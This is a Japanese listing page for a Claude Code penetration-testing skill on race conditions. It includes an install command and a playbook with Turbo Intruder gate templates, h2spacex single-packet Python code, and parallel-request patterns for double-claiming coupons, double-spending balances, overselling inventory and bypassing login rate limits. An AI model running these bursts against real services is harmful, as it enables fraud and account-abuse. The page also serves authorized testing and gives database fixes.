race-condition について
状態の確認と更新が原子的でないことによる競合状態を見つける、セキュリティテスト向けスキルです。一回限りの操作、残高、レート制限、複数段階のワークフローを、同期した並列リクエストとアプリケーション側の証拠で調べます。
主な機能
- 01一回限りの操作や残高処理の優先調査
- 02並列リクエストの同期テスト方法
- 03HTTP/1.1の最終バイト同期
- 04HTTP/2シングルパケットのテスト手法
- 05Turbo Intruderのゲート用テンプレート
- 06結果とサーバー側状態の照合
活用シーン
- 01クーポンや特典を重複取得できるか検証
- 02並列リクエストによる上限や残高制御の回避を調査
- 03認証や支払いなど複数段階の処理にある競合をテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill race-conditionインストール後、Claude Code で/race-conditionを入力して読み込まれたか確認します。
詳細
スキル:競合状態 — テストと悪用のプレイブック
AI 読み込み指示:競合状態を認可/状態の整合性の問題として扱います。アトミックでない読み取り後の書き込みにより、複数のリクエストが古い状態を参照できるようになります。一度限り、または残高のような操作を優先します。並列トランスポート(HTTP/1.1 の最終バイト同期、HTTP/2 の単一パケット、Turbo Intruder のゲート)とアプリケーションの証拠(成功応答の重複、不整合な残高、台帳行の重複)を組み合わせます。許可されたテストのみ実施してください。 ルーティングに関する注意:ビジネスワークフロー、クーポン、在庫、または一度限りの報酬については、このスキルから始めて
business-logic-vulnerabilitiesも読み込んでください。
0. クイックスタート — 最初にテストする項目
チェックと更新が単一のアトミックなデータベース操作でない可能性が高いエンドポイントを対象にします。
| 優先度 | 操作の種類 | パス/パラメーターの例 |
|---|---|---|
| 1 | 一度限りの引き換え/クーポン/ボーナス | redeem、apply_coupon、claim_reward、voucher |
| 2 | 残高/クォータ/在庫の減算 | transfer、purchase、reserve、inventory |
| 3 | 招待/紹介/サインアップボーナス | invite_accept、referral_claim |
| 4 | パスワード/メール/MFA の検証 | verify_token、confirm_email、reset_password |
| 5 | 強力なキーを持たない、冪等に見える API | ユーザーごとに一度だけ成功するはずの POST |
最初に行うこと(概念):
- 状態を変更するリクエストをプロキシで取得します。
- ツールで可能な限り同時に、同じリクエストを 20~100 個送信します。
- 結果を分類します。期待される成功数が 0 または 1 か、それとも N 件の成功や不整合な最終状態かを確認します。
1. 基本概念
1.1 TOCTOU(チェック時と使用時の競合)
Thread A Thread B
| |
+-- CHECK (resource OK) |
| +-- CHECK (resource OK) ← both see "OK"
+-- USE / UPDATE |
| +-- USE / UPDATE ← duplicate effect
TOCTOU とは、判断(チェック)と変更(使用)が、分割できない単一のステップではないことを意味します。
1.2 アトミックでない読み取り後の書き込み
典型的な脆弱な擬似フロー:
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?
2 つの並行リクエストは、どちらかの UPDATE がコミットされる前に、両方とも if を通過できます。
1.3 データベースレベルとアプリケーションレベルのロックの不備
| レイヤー | 問題の内容 |
|---|---|
| アプリケーション | インメモリフラグ、キャッシュ、またはセッションでは「まだ使用されていない」と示されている一方で、DB はすでに更新済み、またはその逆です。 |
| ORM/サービス | 2 つのインスタンスに分散ロックがなく、それぞれが自分に判断権があると考えています。 |
| DB | SELECT … FOR UPDATE がない、分離レベルが不適切、またはトランザクションを使わず複数のステートメントにロジックが分割されています。 |
| API ゲートウェイ | IP ごとのレート制限がチェック後にインクリメントする方式のため、並列バーストで重複チェックを通過します。 |
ヒント:UNIQUE 制約と冪等性キーで、バグの種類全体を解消できることがよくあります。アプリが重要な処理経路でこれらを強制しているかをテストします。
2. 攻撃パターン
2.1 上限超過(二重引き換え/二重請求)
認証済みの同一のリクエストを、並列で何度も送信します。
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}
成功の兆候:HTTP 200/201 が複数回返る、台帳のエントリーが重複する、または残高がポリシーで許容される値を超えます。
2.2 同時実行によるレート制限の回避
制限がアトミックなインクリメントを伴わず、リクエストごとのカウンター確認として実装されている場合:
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"[email protected]","password":"wrong"}
N 件の試行を 1 回の波で並列に実行し、N 件の逐次試行と比較します。
成功の兆候:ドキュメントに記載された上限を超える失敗が受け入れられる、またはバーストが 1 つのウィンドウ内で完了するとロックアウトが発生しません。
2.3 複数ステップの悪用(パイプラインの隙を突く)
ワークフロー:create → pay → confirm。confirm がpayの完了に暗号学的に紐付けられていない場合:
- 同じセッション/アイテムから、2 つの並列パイプラインを開始します。
- チャネル A のpayが処理中、または放棄されたままの状態で、チャネル B のconfirmを完了します。
成功の兆候:対応する支払いがないのにアイテムが支払い済み/発送済みとマークされる、または状態が前の段階に戻ります。
3. HTTP/1.1 最終バイト同期
アイデア:すべてのソケットがリクエストボディの最後の1バイトを除く全バイトを送信するまで、すべてのリクエストをブロックしておき、その後、最後の1バイトをまとめて送信して、サーバーがそれらをほぼ同時に受信するようにします。
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+
理由:Repeater で単純に順番に貼り付ける場合と比べて、リクエスト間のネットワークジッターを抑えられます。
ツール:カスタムスクリプト、一部の Burp 拡張機能、または同期リリースの実用的な代替手段としての Turbo Intruder の gate パターン(§5 を参照)。
4. HTTP/2 シングルパケット攻撃
アイデア:複数の完全な HTTP/2 ストリームを多重化し、それらのフレームを結合して、すべてのリクエストの最初のバイトが NIC から1つの TCP セグメントで(または最小限の間隔で)送信されるようにします。その後、受信側のスケジューリングによって、ミリ秒未満の間隔で処理されます。
Burp Repeater(最新のワークフロー):
- 複数のタブを開くか、複数のリクエストを選択します。
- 利用可能な場合は、Send group (parallel) / single-packet attack を使用します。
- サポートされている場合は、ターゲットへの接続に HTTP/2 を優先します。
[ Req A stream ]
[ Req B stream ] --HTTP/2--> one burst --> app worker pool
[ Req C stream ]
HTTP/1.1 の最終バイトを使う方法より効果的な場合が多い理由:ネットワーク上でのタイミングがより緊密に揃い、接続ごとのシリアル化への依存が少なくなります。
5. TURBO INTRUDER テンプレート
リポジトリ:PortSwigger/turbo-intruder(Burp Suite 拡張機能)。
5.1 テンプレート 1 — 同一エンドポイント、ゲートによるリリース
設定:concurrentConnections=30、requestsPerConnection=30 とし、すべてのスレッドが同時に実行されるようにゲートを使用します。
基本パターン(N 回繰り返してからリリース):
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
ヘッダー要件(ログ照合用にキューに入れた各コピーで一意にします。Turbo Intruder のペイロードプレースホルダーを使用):
x-request: %s
Turbo Intruder は、ワードリスト(またはその他のペイロードソース)と組み合わせると、リクエストごとに %s を置き換えます。このヘッダーは、Turbo Intruder に送信する前に Repeater のベースリクエストに設定してください。HTTP では大文字と小文字が区別されないため、ログ検索では一貫した名前を使用します。
5.2 テンプレート 2 — 複数のエンドポイント、共通のゲート
パターン:状態を変更する target-1 への POST 1件と、読み取り側の target-2 への GET 複数件をまとめてリリースし、TOCTOU ウィンドウの観測範囲を広げます。
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')
エンドポイントが異なる場合は、RequestEngine のインスタンスを複製してホストやパスを調整します(Turbo Intruder は複数のエンジンをサポートしています。使用している Burp のバージョンに対応する上流のドキュメントを参照してください)。
6. CVE 参照 — CVE-2022-4037
CVE-2022-4037(GitLab CE/EE):検証済みメールアドレスの偽造につながる競合状態であり、製品がOAuth ID プロバイダーとして機能する場合には、サードパーティアカウントの連携や影響に関するシナリオでリスクがあります。CWE-362。狭い時間枠を突くために、HTTP/2 シングルパケット形式のタイミングを用いた公開調査で実証されています。
テスターへの要点:メールアドレスの検証、OAuth 連携、「所有権の確認」フローは、有望な競合状態の調査対象です。クーポンや残高だけではありません。
参考資料(公式/中立):
- NVD — CVE-2022-4037
- 影響を受けるバージョン範囲に関する GitLab のセキュリティアドバイザリーおよびベンダーの CVE JSON
7. ツール
| ツール | 役割 |
|---|---|
| PortSwigger/turbo-intruder | Burp での高並行リプレイ、ゲート、スクリプト実行。 |
| JavanXD/Raceocat | 競合状態に特化した HTTP クライアントのパターン(使用するスタックとの互換性を確認してください)。 |
| nxenon/h2spacex | HTTP/2 の低レベル操作/シングルパケット形式の実験(責任を持って使用し、許可されたターゲットのみに使用してください)。 |
| Burp Suite — Repeater | 複数リクエストの同期に使用する Send group (parallel) / single-packet attack。 |
8. 判断ツリー
START: state-changing API?
|
NO -----------+---------- YES
| |
stop here one-time / balance / verify?
|
+-------------------------+-------------------------+
| | |
coupon-like rate limit multi-step
| | |
parallel same req parallel vs serial parallel pipelines
| | |
duplicate success? limit exceeded? state mismatch?
/ \ / \ / \
YES NO YES NO YES NO
| | | | | |
report + try HTTP/2 report + try TI report + deepen
evidence single-packet evidence gates per-step
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
tool pick tool pick tool pick
v v v
Burp group / h2spacex TI gates / Raceocat TI + trace IDs
確認方法(証拠チェックリスト):
- 再現可能であること:単発のリトライで不安定に成功するのではなく、並列実行で重複して成功する。
- サーバー側の証跡:2行、メール2通、付与2回、または最終残高の誤りがある。
- 相関関係の確認:ログ内の
x-request(または同様の)マーカーや、一意の本文フィールドと照合する(許可された環境のみ)。
ルーティングの概要:シナリオがビジネスルール、価格設定、またはワークフローの回避に関するものであれば、skills/business-logic-vulnerabilities/SKILL.md を読み込んでください。このファイルでは、並行性とトランスポート層の同期に重点を置いています。
9. HTTP/2 シングルパケット攻撃 — 詳細な仕組み
9.1 TCP Nagle アルゴリズムとフレームの結合
TCP の Nagle アルゴリズム(RFC 896)は、小さな書き込みをバッファリングし、より少数の大きなセグメントに結合します。HTTP/2 クライアントが複数の HEADERS+DATA フレームをすばやく連続して書き込み、その間にフラッシュを行わない場合、カーネルはそれらを 1 つの TCP セグメント(最大で MSS、イーサネットでは通常約 1460 バイト)に結合します。
Application layer: [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
↓ TCP Nagle coalescing ↓
TCP segment: [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D] ← one packet on the wire
TCP_NODELAYが無効(デフォルト)→ Nagle が有効 → 自然に結合されるTCP_NODELAYが設定されている場合、クライアントはフレームを一括送信するためにwritev()/ベクター書き込みシステムコールを使用する必要があります- 実用上の上限:約 20~30 件の小さなリクエスト(1460 バイトの MSS あたり)。これを超えると複数のパケットに分割され、同期精度が低下します
9.2 サーバー側のリクエストキュー処理
NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch
┌─ Stream 1 → worker thread A ─┐
├─ Stream 3 → worker thread B ─┤ sub-microsecond spacing
└─ Stream 5 → worker thread C ─┘
- 単一の
recv()システムコールがセグメント全体を返す - HTTP/2 フレームパーサーが同じセグメント内のストリームを多重分離する
- ディスパッチャーがアプリケーションのワーカープールに振り分ける
最初のリクエストから最後のリクエストまでのディスパッチ間隔:最新のサーバーでは 100 μs 未満であり、HTTP/1.1 の最終バイト同期(ネットワークジッター約 1~5 ms)より桁違いに短い間隔です。
9.3 HTTP/2 と HTTP/1.1 の最終バイト方式の比較
| 要素 | HTTP/2 シングルパケット | HTTP/1.1 最終バイト方式 |
|---|---|---|
| 必要な接続数 | 1 | N(リクエストごとに 1 つ) |
| 通信上の同期 | 同じ TCP セグメント | N 個のセグメントを「同時に」解放 |
| ネットワークジッターの影響 | なし(同じパケット) | 接続ごとに RTT が異なる |
| サーバーのディスパッチ間隔 | 100 μs 未満 | 通常 1~5 ms |
| 実用上の上限 | MTU あたり約 20~30 件のリクエスト | 接続の確立によって制限 |
9.4 h2spacex を使用した実用的な実行方法
import h2spacex
h2_conn = h2spacex.H2OnTCPSocket(
hostname='target.example.com',
port_number=443
)
headers_list = []
for i in range(20):
headers_list.append([
(':method', 'POST'),
(':path', '/api/v1/rewards/claim'),
(':authority', 'target.example.com'),
(':scheme', 'https'),
('content-type', 'application/json'),
('authorization', 'Bearer TOKEN'),
])
h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
headers_list,
body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()
10. データベース分離レベルの悪用マトリクス
| 分離レベル | 悪用される現象 | 攻撃ウィンドウ | 典型的な脆弱パターン |
|---|---|---|---|
| READ UNCOMMITTED | ダーティリード | スレッド B がスレッド A の未コミットの書き込みを読む | SELECT balance が処理中の引き落としを読み取り、古いロジックで処理を続行する |
| READ COMMITTED | 非反復読取(TOCTOU) | 両方のスレッドがコミット済みの残高を読み取り、両方がチェックを通過して、両方が引き落とす | FOR UPDATE を使わずに SELECT → アプリケーションでのチェック → UPDATE |
| REPEATABLE READ | ファントムリード | スナップショット分離によって同時挿入が隠され、両方のスレッドが「請求件数 0 件」と認識して挿入する | UNIQUE 制約のない INSERT IF NOT EXISTS パターン |
| SERIALIZABLE | アドバイザリーロックの回避 | アプリケーションがスコープの誤り、または推測可能なキーで pg_advisory_lock()/GET_LOCK() を使用する | ユーザー入力からのロックキー。セッションとトランザクションのスコープ不一致 |
READ COMMITTED の TOCTOU(本番環境で最も一般的)
-- Thread A -- Thread B
SELECT balance FROM accounts SELECT balance FROM accounts
WHERE id=1; -- returns 100 WHERE id=1; -- returns 100
-- app: 100 >= 100 ✓ -- app: 100 >= 100 ✓
UPDATE accounts SET balance = UPDATE accounts SET balance =
balance - 100 WHERE id=1; balance - 100 WHERE id=1;
COMMIT; -- balance = 0 COMMIT; -- balance = -100 ← double-spend
修正の検証:SELECT ... FOR UPDATE により、スレッド A がコミットするまでスレッド B の SELECT がブロックされるはずです。
REPEATABLE READ のファントム挿入
-- Thread A (snapshot at T0) -- Thread B (snapshot at T0)
SELECT count(*) FROM claims SELECT count(*) FROM claims
WHERE user_id=1 AND coupon='X'; WHERE user_id=1 AND coupon='X';
-- returns 0 (snapshot) -- returns 0 (snapshot)
INSERT INTO claims ...; INSERT INTO claims ...;
COMMIT; -- succeeds COMMIT; -- succeeds ← duplicate claim
修正:UNIQUE(user_id, coupon_id) 制約により、分離レベルに関係なく、片方の INSERT が重複キーエラーで失敗します。
SERIALIZABLE のアドバイザリーロック回避
-- Application intends: one lock per coupon
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- Bypass vectors:
-- 1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
-- 2. Different code path reaches claim logic without acquiring the lock
-- 3. Attacker triggers claim via alternative API endpoint that lacks locking
クイック監査チェックリスト
□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
□ Is the check-then-act sequence inside a single transaction?
□ Are UNIQUE constraints enforced on the critical state table?
□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?
11. 上限超過攻撃のパターン
11.1 クーポン/プロモーションコードの再利用
Target: POST /api/apply-coupon {"code":"SUMMER50"}
Expected: One use per user
Attack: 20 parallel identical requests
Evidence: Multiple 200 responses, final order total = N × discount applied
バリエーション:異なるカート項目で同じクーポンを使用する、クーポン適用とチェックアウトを並列実行する(クーポンが消費されるのはチェックアウト時のみ)。
11.2 投票/評価の操作
Target: POST /api/vote {"post_id":123,"direction":"up"}
Expected: One vote per user per post
Attack: 50 parallel vote requests
Evidence: Vote count += N, or DB shows multiple vote rows for same user+post
11.3 残高の二重使用
Target: POST /api/transfer {"to":"attacker","amount":100}
Balance: Exactly 100
Attack: 2+ parallel transfers
Evidence: Both succeed, sender balance goes negative, recipient receives 200
より高額なケースです。外部システム(暗号資産、銀行送金)への引き出しでは、取り消しが困難です。
11.4 在庫の過剰販売
Target: POST /api/purchase {"item_id":"limited_edition","qty":1}
Stock: 1 remaining
Attack: 20 parallel purchase requests
Evidence: Multiple orders created, stock counter goes negative
複合攻撃です。カートへの追加とチェックアウトは別々の手順であり、それぞれが独立して在庫を確認します。
11.5 紹介/登録ボーナス
Target: POST /api/referral/claim {"code":"REF_ABC"}
Expected: One claim per referred user
Attack: Parallel claims from same session
Evidence: Bonus credited to referrer multiple times
12. 単一パケットによる複数エンドポイント攻撃
同じリクエストを N 個複製する代わりに、HTTP/2 の単一パケットバーストで異なるエンドポイントにリクエストを送信します。確認パスと使用パスの両方を同時に狙うことで、TOCTOU ウィンドウを広げます。
パターン 1:状態確認+状態変更
Single TCP segment:
Stream 1: GET /api/balance ← probe pre-state
Stream 3: POST /api/transfer ← mutate
Stream 5: POST /api/transfer ← mutate (duplicate)
Stream 7: GET /api/balance ← probe post-state
ストリーム 1 とストリーム 7 の残高に不整合があれば、競合ウィンドウを捉えたことが確認できます。
パターン 2:リソース間の競合
Single TCP segment:
Stream 1: POST /api/coupon/apply ← apply discount
Stream 3: POST /api/order/checkout ← finalize order
クーポンの適用とチェックアウトで価格を個別に確認している場合、チェックアウトで価格が確定した後に割引が適用される可能性があります。
パターン 3:認証確認+特権操作
Single TCP segment:
Stream 1: POST /api/email/verify?token=TOKEN ← verify email
Stream 3: POST /api/account/upgrade ← requires verified email
認証処理中で、まだ確定していない短い時間枠にアップグレードが成功する可能性があります。
実践的な設定
Burp Repeater:異なるパスを対象とするリクエストを同じグループに追加 →「グループを送信(単一パケット)」。
headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]
all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']
h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)
関連項目
- business-logic-vulnerabilities — ワークフロー、クーポンの悪用、ロジック優先のチェックリスト(
../business-logic-vulnerabilities/SKILL.md)。